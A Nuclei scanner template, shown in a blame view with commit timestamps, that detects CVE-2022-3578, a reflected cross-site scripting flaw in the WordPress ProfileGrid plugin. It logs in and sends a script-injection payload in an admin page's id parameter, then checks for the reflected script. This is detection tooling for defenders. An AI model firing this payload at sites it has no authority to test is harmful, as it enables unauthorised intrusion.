nuclei-templates/http/cves/2022/CVE-2022-3578.yaml

53 lines
2.2 KiB
YAML
Raw Normal View History

2022-11-15 17:18:53 +00:00
id: CVE-2022-3578
info:
name: WordPress ProfileGrid <5.1.1 - Cross-Site Scripting
2022-11-15 17:18:53 +00:00
author: theamanrawat
severity: medium
description: |
WordPress ProfileGrid plugin prior to 5.1.1 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2023-09-06 11:59:08 +00:00
remediation: |
Update WordPress ProfileGrid to version 5.1.1 or later to mitigate the XSS vulnerability.
2022-11-15 17:18:53 +00:00
reference:
- https://wpscan.com/vulnerability/17596b0e-ff45-4d0c-8e57-a31101e30345
- https://wordpress.org/plugins/profilegrid-user-profiles-groups-and-communities/
- https://nvd.nist.gov/vuln/detail/CVE-2022-3578
2022-11-16 09:34:37 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
2022-11-16 09:34:37 +00:00
cve-id: CVE-2022-3578
cwe-id: CWE-79
epss-score: 0.00078
epss-percentile: 0.32972
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:metagauss:profilegrid:*:*:*:*:*:wordpress:*:*
2022-11-16 06:22:46 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: metagauss
product: profilegrid
2023-09-06 11:59:08 +00:00
framework: wordpress
tags: wp-plugin,wordpress,wpscan,cve,wp,xss,profilegrid,authenticated,cve2022
2022-11-15 17:18:53 +00:00
http:
2022-11-15 17:18:53 +00:00
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
2022-11-16 09:31:54 +00:00
GET /wp-admin/admin.php?page=pm_add_group&id="><script>alert%28document.domain%29<%2Fscript> HTTP/1.1
2022-11-15 17:18:53 +00:00
Host: {{Hostname}}
cookie-reuse: true
2023-07-11 19:49:27 +00:00
req-condition: true
2022-11-15 17:18:53 +00:00
matchers:
2022-11-16 09:31:54 +00:00
- type: dsl
dsl:
- 'contains(header_2, "text/html")'
2022-11-16 09:31:54 +00:00
- 'status_code_2 == 200'
- 'contains(body_2, "Extension Options")'
- 'contains(body_2, "<script>alert(document.domain)</script>&tab")'
2022-11-15 17:18:53 +00:00
condition: and
# digest: 4a0a0047304502201287fc923275cd163444924a1a3a848cb322c4adee7a767300e6072f04445aad0221009fc07d9e73a720355f9d5cecc2a6d28dfdabc6dcdc8765d1e207c55888f8be5b:922c64590222798bb761d5b6d8e72950